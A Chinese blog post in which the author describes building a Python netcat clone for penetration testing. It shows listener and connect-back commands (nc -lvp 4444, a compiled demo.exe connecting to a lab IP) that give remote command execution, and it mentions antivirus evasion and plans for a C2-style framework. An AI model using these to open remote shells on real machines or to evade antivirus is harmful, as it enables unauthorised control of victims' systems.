zoukankan      html  css  js  c++  java
  • python编写nc的思考

    0x00 前言

    发现自己学习python已经有半个月了,也开发了自己的一些渗透的小脚本,但觉得还是不够,我个人觉得工具和脚本还有框架是个本质上的区别。脚本的话,不会考虑到其他的一些因素,例如报错和交互性。要是有的话可能还要在工具里面修改到一些参数,然后才能进行使用。简单点来过脚本给我的概念就是编写出来能用就行。而工具具有的是一些交互性让对方输入自己想要的命令或者说参数,然后执行不需要频繁改代码再使用。还有的就是容错率,对应工具来说一些因为参数输入不正确,直接爆出一片红的,这个对用户来说并不是很友好,并且报错的话程序也会立即停止。这里再来说到框架,框架这个容错率和交互性肯定不用说了,这个是必备的,框架还必须具备的功能的齐全性和可移植性。

    0x01 工具开发

    在年初就一直计划着用python来编写个nc,但一直没有去实现,当时也买了本python黑帽子回来看,但由于python黑帽子是基于2.7版本的。python2.7和python3.7有很大的差异,后面也没有找到几个编写nc的书籍来做参考,所以当时的想法就破灭了。近几天来奇怪的想法又产生了,就使用了python3来编写这个nc,其实nc的编写非常简单也就是socket通讯,然后接受执行命令,执行的结果返回给我们的服务端。说白了也就是socket的通讯模型,只不过加了个执行命令的模块把执行结果给返回了。在后期想把这个nc再进行优化,例如可以完善成一个渗透框架,接受多个会话并且自由切换会话,设置心跳,上传下载功能,并且多个通讯隧道,打造成一个python版cs,python写的工具编译成exe程序的免杀效果 除了文件大了点外,还是很可观的。

    使用kali进行nc监听

    nc -lvp 4444

    然后来到python 版本nc这边使用python_nc去连接

    nc.py -i 192.168.3.39 -p 4444

     命令执行成功,但是由于这里是因为编码的问题会乱码,kali里面改成gbk的编码就ok了。

    这里再来测试他的服务端。

    python_nc 改成监听模式

    nc.py -l 4444

    这里直接把python编译成exe,然后去我的win7进行操作,这里的demo的,只有客户端去连接的功能,用的是sys去接收,命令参数还没写,这里为了方便,用他来做个演示。

    demo.exe 192.168.3.13 4444

    这时候我们就可以在服务端来输入命令了

    因为在昨天去调试的时候python提示编码错误,在 打印的地方加多个encoding='GBK',使用gbk编码就好了。能成功输出中文。

    这里是没问题的,但是如果输入不正确的命令的话,就会直接报错并且停止。在后来去找了一些原因是因为使用了 subprocess.check_output这个函数来执行命令,所以才会出现这种问题。这个函数

    执行命令,如果状态码是0,则返回执行结果,否则抛出异常。再后面也会逐步去完善功能。

    在下面给各位师傅们贴出github地址,有什么问题或者说建议的话也可以和我探讨。

    github:https://github.com/nice0e3/python_nc/

    0x02 结尾

    在末尾,给大家贴张表情包。

  • 相关阅读:
    centos7系统中忘记了root管理员账号密码的解决方式
    【python之路48】生成器表达式、推导式
    小米集团信息化中台战略
    分时函数
    函数节流
    JS浮点计算问题
    要转型做前端开发了
    优秀的开发人员和测试人员应有的态度
    C#数组的笔记
    LINQ不包含列表
  • 原文地址:https://www.cnblogs.com/nice0e3/p/12889087.html
Copyright © 2011-2022 走看看